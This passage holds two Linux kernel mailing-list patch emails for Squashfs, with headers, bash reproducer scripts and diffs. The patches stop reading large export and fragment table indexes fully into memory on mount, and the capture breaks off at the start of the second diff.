smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=Z+D+ttOV; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=SwgOmFGV Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKy6xiqRz; Mon, 23 Nov 2026 03:43:51 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405431; bh=7VCEYtgwjA1WAc7qSm96QXd7PMJwfWq3aBk60Gb3fJE=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=Z+D+ttOVnScTwThKFP+ctaUivVvyC4o4KcmdewWBV3fWgg/mwoULfqITTKjfKgmyh 9u+leQe8oRQ9i1IieIvv2hNoTVVvKffqxsF3aUzoNivSAP29LlVrJCmZ9GTfm9QUeO NcAM1kukAypmYng/EYc1t56ZkfikwpdUASQ8l3Ko95kQPRNefpAISGtLaJwu44jLd6 sZoWq0HaeFMSu/xMbsbQfBFVBmkZvweStXaSSRtYi8lkMiZD3YWaBMfCouWEIunFiM oiuKikpsy0f9HUtDIkHiljiZgZqDmFnZf1wsHb6Y0Sv7hewxihDdYyQ8A3pdT4HpTf MUt+1EQXU8jYA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405431; bh=7VCEYtgwjA1WAc7qSm96QXd7PMJwfWq3aBk60Gb3fJE=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=SwgOmFGVteeSKBSgSR47GAqnFNxVGoB+1KlrpMjzGakhwuC6Mhg8JU0TFWuoqf9ll +5X5UeafO2PYxBXSznXGiPHIlMIa90cxQ4//Uundp4FQ7uWiUd0XRbUlqEgHW2c7iL P788GYvyOdXPYGBizg5zMeOBOTgtCGGO3JamQQuZseenzGnuacMwGGOvKWY7sAmOHV d+Bl2EQl/fki27nU2W4S/UNZPULhfxBXJ/PsJNfdqxk9v60MqXMnr8v+6hyeZfNA0Z Ci2Jv2EMSzXrbacDKJkFf07eHJreE7fux9zFvrtTnqnFvwfkP5b50qh8c/wgpMpfIy l5/P4o0GWp45g== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b677 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=BNgBYQ4OQsy_9HJ77B0A:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 5947a2dcacd8a18573113b515b35a879:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 18/23] Squashfs: don't store large export table indexes in memory Date: Mon, 23 Nov 2026 03:42:59 +0000 Message-ID: <20261123034304.261742-19-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfNd6uSoqYP9ezPiRwxrOLaq1M7VNQCdql875rYjQrDS1Ex3Dxw86+rt1EyXSL1WDko8VSgUkVZswqY/CYzyR+8pfRz1YmoQkTWLmyATrmfFhb+nsDxKM cMNhTaAChY8R+rurzkCRTtgUGGc5y5TXMJH41oJ40zYo8+RgJA117L0zdBJmM5vYVBFFwgEX+smwfY4T+z/sPfU7D09vw0FLpPYxdfielX7VijfTxz4ccTwB m0uHcXOh7+jZ64qWgIv3vRxW8xq3FTZmRH+1g1jn83RRiiifupjqi/cxawwUR/9E Content-Type: text/plain; charset="utf-8" When mounting a Squashfs filesystem, the code reads the entire export table indexes into memory. Their size is determined by the number of inodes in the filesystem. For the maximum inode count of 2^32, this will allocate and read 32 MiB. This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic. This commit uses a 4 page cache if the size of the export table indexes are 4 pages in size or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The following reproducer will create a Squashfs filesystem with 540,540,568 inodes (540 million files). This will cause the export table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted. Due to the large amount of inodes the Squashfs filesystem reproducer needs to be run on a 64-bit machine with around 60 GiB of memory (or swap). The latest development Mksquashfs from the GitHub Squashfs-tools repository also needs to be used. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } IMG=3D$PWD/reproducer.sqsh DIR=3D$(mktemp -d) if [ -e $IMG ]; then rm $IMG fi pushd $DIR 2>&1 > /dev/null # create 20 million pseudo file links to empty file touch a a=3D0 while [ $a -le 19 ]; do b=3D0 while [ $b -le 999 ]; do c=3D0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done for i in $(seq 1 27); do sed "s/x/$i/g" file > pseudo echo echo Iteration $i - appending 20 million files to Squashfs filesystem echo if ! mksquashfs - $IMG -pf pseudo -no-hardlinks -pd "d 0777 0 0" -no-recov= ery -no-progress -comp lz4; then echo Appending to Squashfs filesystem failed finish fi done popd 2>&1 > /dev/null rm -rf $DIR echo Generated Squashfs filesystem $IMG =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 122601408d20c ("Squashfs: export operations") Signed-off-by: Phillip Lougher --- v3: - Widen return value of squashfs_lookup_blocks_offset() to s32. v2: - Widen offset in squashfs_inode_lookup_start() to s32, to prevent overflow when PAGE_SIZE is 64 KiB or larger. - Prevent squashfs_inode_lookup_start() from passing back an erroneous error value by checking lookup_table_start >=3D next_table in squashfs_read_inode_lookup_table(). --- fs/squashfs/export.c | 145 +++++++++++++++++++++++---------- fs/squashfs/squashfs.h | 3 +- fs/squashfs/squashfs_fs_sb.h | 8 +- fs/squashfs/squashfs_helpers.h | 28 ++++++- fs/squashfs/super.c | 36 +++++--- 5 files changed, 160 insertions(+), 60 deletions(-) diff --git a/fs/squashfs/export.c b/fs/squashfs/export.c index ad7cc882d789..dcf8f2478fcf 100644 --- a/fs/squashfs/export.c +++ b/fs/squashfs/export.c @@ -34,24 +34,64 @@ #include "squashfs_helpers.h" #include "squashfs.h" =20 +s64 squashfs_inode_lookup_start(struct super_block *sb, u32 ino_num) +{ + struct squashfs_sb_info *msblk =3D sb->s_fs_info; + s64 start; + int err; + + if (msblk->lookup_table_is_cache) { + s32 length =3D squashfs_lookup_blocks_bytes(msblk->inodes); + s32 base =3D squashfs_lookup_blocks_base(ino_num - 1); + s32 offset =3D squashfs_lookup_blocks_offset(ino_num - 1); + s32 avail =3D min_t(int, length - base, PAGE_SIZE); + struct squashfs_cache_entry *entry; + + start =3D squashfs_lookup_blocks_start(ino_num - 1, msblk); + if (start < 0) + return start; + + entry =3D squashfs_cache_get(sb, msblk->inode_lookup_cache, start, + avail | SQUASHFS_COMPRESSED_BIT_BLOCK); + if (entry->error < 0) { + err =3D entry->error; + squashfs_cache_put(entry); + return err; + } + + start =3D le64_to_cpu(((__le64 *)entry->data[0])[offset >> 3]); + squashfs_cache_put(entry); + } else { + s32 blk =3D squashfs_lookup_block(ino_num - 1); + + start =3D le64_to_cpu(msblk->inode_lookup_array[blk]); + } + + if (start < msblk->lookup_table_start || start >=3D msblk->lookup_table) + return -EIO; + + return start; +} + /* * Look-up inode number (ino) in table, returning the inode location. */ -static long long squashfs_inode_lookup(struct super_block *sb, int ino_num) +static long long squashfs_inode_lookup(struct super_block *sb, u32 ino_num) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - int blk =3D squashfs_lookup_block(ino_num - 1); - int offset =3D squashfs_lookup_block_offset(ino_num - 1); - u64 start; + s32 offset =3D squashfs_lookup_block_offset(ino_num - 1); + s64 start; __le64 ino; int err; =20 - TRACE("Entered squashfs_inode_lookup, inode_number =3D %d\n", ino_num); + TRACE("Entered squashfs_inode_lookup, inode_number =3D %u\n", ino_num); =20 if (ino_num =3D=3D 0 || (ino_num - 1) >=3D msblk->inodes) return -EINVAL; =20 - start =3D le64_to_cpu(msblk->inode_lookup_table[blk]); + start =3D squashfs_inode_lookup_start(sb, ino_num); + if (start < 0) + return start; =20 err =3D squashfs_read_metadata(sb, &ino, &start, &offset, sizeof(ino)); if (err < 0) @@ -113,14 +153,11 @@ static struct dentry *squashfs_get_parent(struct dent= ry *child) /* * Read uncompressed inode lookup table indexes off disk into memory */ -__le64 *squashfs_read_inode_lookup_table(struct super_block *sb, +int squashfs_read_inode_lookup_table(struct super_block *sb, u64 lookup_table_start, u64 next_table, unsigned int inodes) { - unsigned int length =3D squashfs_lookup_block_bytes(inodes); - unsigned int indexes =3D squashfs_lookup_blocks(inodes); - int n; - __le64 *table; - u64 start, end; + struct squashfs_sb_info *msblk =3D sb->s_fs_info; + s32 length =3D squashfs_lookup_blocks_bytes(inodes); =20 TRACE("In read_inode_lookup_table, length %d\n", length); =20 @@ -128,51 +165,69 @@ __le64 *squashfs_read_inode_lookup_table(struct super= _block *sb, =20 /* there should always be at least one inode */ if (inodes =3D=3D 0) - return ERR_PTR(-EINVAL); + return -EIO; =20 /* * The computed size of the lookup table (length bytes) should exactly * match the table start and end points */ - if (length !=3D (next_table - lookup_table_start)) - return ERR_PTR(-EINVAL); - - table =3D squashfs_read_table(sb, lookup_table_start, length); - if (IS_ERR(table)) - return table; + if (lookup_table_start >=3D next_table || + length !=3D (next_table - lookup_table_start)) + return -EIO; + + if (length <=3D (PAGE_SIZE * 4)) { + /* Read lookup table index into memory */ + s32 indexes =3D squashfs_lookup_blocks(inodes); + __le64 *array; + u64 start, end; + int n; + + array =3D squashfs_read_table(sb, lookup_table_start, length); + if (IS_ERR(array)) + return PTR_ERR(array); + + /* + * array0], array[1], ... array[indexes - 1] store the locations + * of the compressed inode lookup blocks. Each entry should be + * less than the next (i.e. array[0] < array[1]), and the difference + * between them should be SQUASHFS_METADATA_SIZE or less. + * array[indexes - 1] should be less than lookup_array_start, and + * again the difference should be SQUASHFS_METADATA_SIZE or less + */ + for (n =3D 0; n < (indexes - 1); n++) { + start =3D le64_to_cpu(array[n]); + end =3D le64_to_cpu(array[n + 1]); + + if (start >=3D end || (end - start) > (SQUASHFS_METADATA_SIZE + + SQUASHFS_BLOCK_OFFSET)) { + kfree(array); + return -EIO; + } + } =20 - /* - * table0], table[1], ... table[indexes - 1] store the locations - * of the compressed inode lookup blocks. Each entry should be - * less than the next (i.e. table[0] < table[1]), and the difference - * between them should be SQUASHFS_METADATA_SIZE or less. - * table[indexes - 1] should be less than lookup_table_start, and - * again the difference should be SQUASHFS_METADATA_SIZE or less - */ - for (n =3D 0; n < (indexes - 1); n++) { - start =3D le64_to_cpu(table[n]); - end =3D le64_to_cpu(table[n + 1]); - - if (start >=3D end - || (end - start) > - (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) { - kfree(table); - return ERR_PTR(-EINVAL); + start =3D le64_to_cpu(array[indexes - 1]); + if (start >=3D lookup_table_start || (lookup_table_start - start) > + (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) { + kfree(array); + return -EIO; } - } =20 - start =3D le64_to_cpu(table[indexes - 1]); - if (start >=3D lookup_table_start || - (lookup_table_start - start) > - (SQUASHFS_METADATA_SIZE + SQUASHFS_BLOCK_OFFSET)) { - kfree(table); - return ERR_PTR(-EINVAL); + msblk->inode_lookup_array =3D array; + msblk->lookup_table_is_cache =3D false; + } else { + /* Use a cache to store the last 4 pages of indexes read */ + struct squashfs_cache *cache =3D squashfs_cache_init("inode index", 4, P= AGE_SIZE); + + if (IS_ERR(cache)) + return PTR_ERR(cache); + + msblk->inode_lookup_cache =3D cache; + msblk->lookup_table_is_cache =3D true; } =20 - return table; + return 0; } =20 - const struct export_operations squashfs_export_ops =3D { .encode_fh =3D generic_encode_ino32_fh, .fh_to_dentry =3D squashfs_fh_to_dentry, diff --git a/fs/squashfs/squashfs.h b/fs/squashfs/squashfs.h index 1947a469a0b4..14ccc2776b5c 100644 --- a/fs/squashfs/squashfs.h +++ b/fs/squashfs/squashfs.h @@ -64,8 +64,9 @@ extern const struct squashfs_decompressor_thread_ops squa= shfs_decompressor_percp #endif =20 /* export.c */ -extern __le64 *squashfs_read_inode_lookup_table(struct super_block *, u64,= u64, +extern int squashfs_read_inode_lookup_table(struct super_block *, u64, u64, unsigned int); +extern s64 squashfs_inode_lookup_start(struct super_block *sb, u32 ino_num= ); =20 /* fragment.c */ extern int squashfs_frag_lookup(struct super_block *sb, unsigned int fragm= ent, diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h index 949dab87a241..d6b5908fff51 100644 --- a/fs/squashfs/squashfs_fs_sb.h +++ b/fs/squashfs/squashfs_fs_sb.h @@ -64,11 +64,16 @@ struct squashfs_sb_info { struct mutex meta_index_mutex; struct meta_index *meta_index; void *stream; - __le64 *inode_lookup_table; + union { + __le64 *inode_lookup_array; + struct squashfs_cache *inode_lookup_cache; + }; u64 inode_table; u64 directory_table; u64 directory_table_end; u64 xattr_table; + u64 lookup_table; + u64 lookup_table_start; unsigned int block_size; unsigned short block_log; long long bytes_used; @@ -79,5 +84,6 @@ struct squashfs_sb_info { bool panic_on_errors; const struct squashfs_decompressor_thread_ops *thread_ops; int max_thread_num; + bool lookup_table_is_cache; }; #endif diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 2be1263d33bd..c68ee4afa404 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -135,11 +135,37 @@ static inline s32 squashfs_lookup_blocks(u32 inodes) SQUASHFS_METADATA_SIZE; } =20 -static inline s32 squashfs_lookup_block_bytes(u32 inodes) +static inline s32 squashfs_lookup_blocks_bytes(u32 inodes) { return squashfs_lookup_blocks(inodes) * sizeof(long long); } =20 +static inline s32 squashfs_lookup_blocks_base(u32 inodes) +{ + return (squashfs_lookup_block(inodes) * sizeof(long long)) & ~(PAGE_SIZE = - 1); +} + +static inline s64 squashfs_lookup_blocks_start(u32 inodes, struct squashfs= _sb_info *msblk) +{ + s32 base =3D squashfs_lookup_blocks_base(inodes); + s64 start; + + if (S64_MAX - msblk->lookup_table < base) + return -EINVAL; + + start =3D msblk->lookup_table + base; + + if (start > msblk->bytes_used) + return -EINVAL; + + return start; +} + +static inline s32 squashfs_lookup_blocks_offset(u32 inodes) +{ + return (squashfs_lookup_block(inodes) * sizeof(long long)) & (PAGE_SIZE -= 1); +} + /* uid lookup table defines */ static inline s32 squashfs_id_bytes(u16 ids) { diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c index 8c42f1eb375b..8504939f9a8e 100644 --- a/fs/squashfs/super.c +++ b/fs/squashfs/super.c @@ -177,6 +177,13 @@ static const struct squashfs_decompressor *supported_s= quashfs_filesystem( return decompressor; } =20 +static void squashfs_free_inode_table(struct squashfs_sb_info *msblk) +{ + if (msblk->lookup_table_is_cache) + squashfs_cache_delete(msblk->inode_lookup_cache); + else + kfree(msblk->inode_lookup_array); +} =20 static int squashfs_fill_super(struct super_block *sb, struct fs_context *= fc) { @@ -187,8 +194,9 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) long long root_inode; unsigned short flags; unsigned int fragments; - u64 lookup_table_start, xattr_id_table_start, next_table; - int err, devblksize =3D sb_min_blocksize(sb, SQUASHFS_DEVBLK_SIZE); + u64 xattr_id_table_start, next_table; + s64 err; + int devblksize =3D sb_min_blocksize(sb, SQUASHFS_DEVBLK_SIZE); =20 TRACE("Entered squashfs_fill_superblock\n"); =20 @@ -391,20 +399,24 @@ static int squashfs_fill_super(struct super_block *sb= , struct fs_context *fc) next_table =3D le64_to_cpu(msblk->id_table[0]); =20 /* Handle inode lookup table */ - lookup_table_start =3D le64_to_cpu(sblk->lookup_table_start); - if (lookup_table_start =3D=3D SQUASHFS_INVALID_BLK) + msblk->lookup_table =3D le64_to_cpu(sblk->lookup_table_start); + if (msblk->lookup_table =3D=3D SQUASHFS_INVALID_BLK) goto handle_fragments; =20 /* Allocate and read inode lookup table */ - msblk->inode_lookup_table =3D squashfs_read_inode_lookup_table(sb, - lookup_table_start, next_table, msblk->inodes); - if (IS_ERR(msblk->inode_lookup_table)) { + err =3D squashfs_read_inode_lookup_table(sb, msblk->lookup_table, + next_table, msblk->inodes); + if (err < 0) { + errorf(fc, "unable to read inode lookup table"); + goto failed_mount; + } + + err =3D squashfs_inode_lookup_start(sb, 1); + if (err < 0) { errorf(fc, "unable to read inode lookup table"); - err =3D PTR_ERR(msblk->inode_lookup_table); - msblk->inode_lookup_table =3D NULL; goto failed_mount; } - next_table =3D le64_to_cpu(msblk->inode_lookup_table[0]); + next_table =3D msblk->lookup_table_start =3D err; =20 sb->s_export_op =3D &squashfs_export_ops; =20 @@ -480,7 +492,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) if (msblk->cache_mapping) iput(msblk->cache_mapping->host); msblk->thread_ops->destroy(msblk); - kfree(msblk->inode_lookup_table); + squashfs_free_inode_table(msblk); kfree(msblk->fragment_index); kfree(msblk->id_table); kfree(msblk->xattr_id_table); @@ -603,7 +615,7 @@ static void squashfs_put_super(struct super_block *sb) kfree(sbi->id_table); kfree(sbi->fragment_index); kfree(sbi->meta_index); - kfree(sbi->inode_lookup_table); + squashfs_free_inode_table(sbi); kfree(sbi->xattr_id_table); kfree(sb->s_fs_info); sb->s_fs_info =3D NULL; --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.36 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405447; b=kcSFM1XGoU0a50/oKfvYHNne265BhlrA6ENi1lvIS09Qd96QLXXpKHd3zyzrxvdaf4+R sUvvkZ2LBWtl5n/whHeR6zWOPel9zuEKtuxHrhBDGK6hEQrZLx39pt8ymLRaA6OXgx4Ha MCDzCrFmFVudLvi+WbDthLOtG1AqyMx5IKtvRX7B/+HK1nKk2q1o7rKUU39lJ1e3mljmh ILai4wnF+glgCtVqR+Y4IIOZkCUm3jEtXLGDFnayYaIamjsiGVj1m7LCxQBTO2amlmy4A BMP/Fo7Y9JtKBkFXkEO14nlqRHwAUe3uVe/zyGkaq7vdGmEqvg8s7Pj/NvgOh37QDuA== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405447; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=GzorH3nr543TjUn85uh1A1grpE5uqqIlEZdZrgRUrv0=; b=D8vKI6HzPkyo6HMAdsZEuwVhbgvvkKkKFbTwoOIP2b8IkNBiGJIKQpP+krc5+vZvR190 VScnB/ykjHEN+r4i+EEXCPKIsfJYXBG3Q1UP37zHdCKlEsSU7FRwNLbqNU/1YSFjkWLAF vFiUTm7rSiVfKxIB0EqlmTju7qXsUD903oxRw940dob4XwDYI25kDkRfAaULnLa/QuqCQ dz+mUCkmKDQXbMThjA+jFMQds+PExLoCyUNEaZQZtpD1w3urWOAnnwghPPrU42R6VlXkd J1ixnmJi9b1/GeD+U8PDVbnwIYLHGZ2vVoWWsQTr3CMnOKEJDqLrmLgwkv61UuJOmSg== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=Q9lUDzIk; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b="WrO0W/wA"; arc=none smtp.remote-ip=188.121.53.36 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.36]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 76493606A6B9 for ; Mon, 23 Nov 2026 03:44:06 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 76493606A6B9 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=Q9lUDzIk; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=WrO0W/wA Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKy7xiqS4; Mon, 23 Nov 2026 03:43:52 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405433; bh=GzorH3nr543TjUn85uh1A1grpE5uqqIlEZdZrgRUrv0=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=Q9lUDzIkdqKlA0fzYKN2aJ2IVdHlqfOYMe9a/LA/W++2LPQ631Ov8HzK8/+btiCBO lKi4tLIcdKnbLzrqwme+uS6tSeIa2pOqrjHtlXcHtcdCa2FItMQOiWEz0gCeCM/z3o Y1plhmVmF5YWR3uaQPe3JaiDUnB7BMQLL7U/70e94uRSYE4xryBD5EMZavIdq4vsJj xHuJ9C91ACO8xf6nyL0X849+bmTdz/NqKnccOJt/lRpiEIZWKO5Iz/0aUkBwP+u8Vl EIeRBxUmkYETwZAZ6S6YpSfZqTCzedxa+CotWTokrFqULTmejq5x7vFigPs6NYv+44 RyhcvzpApnNpA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405433; bh=GzorH3nr543TjUn85uh1A1grpE5uqqIlEZdZrgRUrv0=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=WrO0W/wAhZK7mBlQbTVIXCNZ4VnaxLac1jZVLbjs+H9s3cCeK6dboGYrxICuJ1Nvf uAmB+O6989Uu1QNlU2AQ9s96NE8upVH5vwKmGbuo6ZsdcP7RkZCJoGwM8KbNm82yhm TgKgTl7nLoXqUF6XrgB6GBWflFPG9ewhZEl99OrA3RxgzhqcctSmge2PlLgrUPLQZ7 jsNOjYEG+oNOoMT4UExjU0S91jrbKgLE1KnrpwU402WG3Toj80/2QkgUxnQCeZKGjO vdG86DcFUeMCre53TnoHkpc9qK/jM4YhuOthFyLU47oeRotOTrmLbXBP/Ox1eWdup7 6Xzp9SdN+oNrQ== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b678 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=bQtJiiKavY242qEU4p8A:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 1788c27eb2df6a3a32ed748f367e5a11:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 19/23] Squashfs: don't store large fragment table indexes in memory Date: Mon, 23 Nov 2026 03:43:00 +0000 Message-ID: <20261123034304.261742-20-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfJM1U9rmVX3gL7GlgFh2HkfnXqvNGxZgsVHRpUGl9r3ilMZRu1B18e96dzXR2ezWThx2HGtvQqWrwZN8OMPVkd5s1565y58FLqQyhVIChlkteZXBIsJ/ gegDesMlhH+Ij7mH5wtdOxUuLEBxvcVNtmBOYJenDpxsAHNH0DpuFIs5XtUQzea2n7ZPuvCB1zDmy2s19jPZ8aQH0LZ76NxxtOpF0ZdLUgzRbS98zqJk0awL sxJnTvSOl7YXEZbMjB0zBPExvMl8J2IpMkyXPGpTWolUi0ZqjBfp4iaa9X33xN7f Content-Type: text/plain; charset="utf-8" When mounting a Squashfs filesystem, the code reads the entire fragment table indexes into memory. Their size is determined by the number of fragments in the filesystem, where the maximum number of fragments is 2^32, and this will allocate and read 64 MiB. This is an execessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory willl result in a kernel panic. This commit uses a 4 page cache if the size of the fragment table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The following reproducer will create a Squashfs filesystem with 280 million fragments, which will cause the fragment table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } IMG=3D$PWD/reproducer.sqsh DIR=3D$(mktemp -d) if [ -e $IMG ]; then rm $IMG fi pushd $DIR 2>&1 > /dev/null # create 20 million pseudo file links to file 2049 bytes in size truncate -s 2049 a a=3D0 while [ $a -le 19 ]; do b=3D0 while [ $b -le 999 ]; do c=3D0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done for i in $(seq 1 14); do sed "s/x/$i/g" file > pseudo echo echo Iteration $i - appending 20 million files to Squashfs filesystem echo if ! mksquashfs - $IMG -pf pseudo -mem 100m -no-hardlinks -no-sparse -no-d= uplicates -no-exports -pd "d 0777 0 0" -no-recovery -b 4096; then echo Appending to Squashfs filesystem failed finish fi done popd 2>&1 > /dev/null rm -rf $DIR echo Generated Squashfs filesystem $IMG =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: 122edd1514aaa ("Squashfs: fragment block operations") Signed-off-by: Phillip Lougher --- v3: - Widen return value of squashfs_fragment_blocks_offset() to s32.=20 v2: - Widen offset in squashfs_frag_lookup_start() to s32, to prevent overflow when PAGE_SIZE is 64 KiB or larger. --- fs/squashfs/fragment.c | 99 ++++++++++++++++++++++++++-------- fs/squashfs/squashfs.h | 3 +- fs/squashfs/squashfs_fs_sb.h | 8 ++- fs/squashfs/squashfs_helpers.h | 28 +++++++++- fs/squashfs/super.c | 32 +++++++---- 5 files changed, 136 insertions(+), 34 deletions(-) diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c index 429dbeba9c21..b87ae2e81bc1 100644 --- a/fs/squashfs/fragment.c +++ b/fs/squashfs/fragment.c @@ -29,26 +29,67 @@ #include "squashfs_helpers.h" 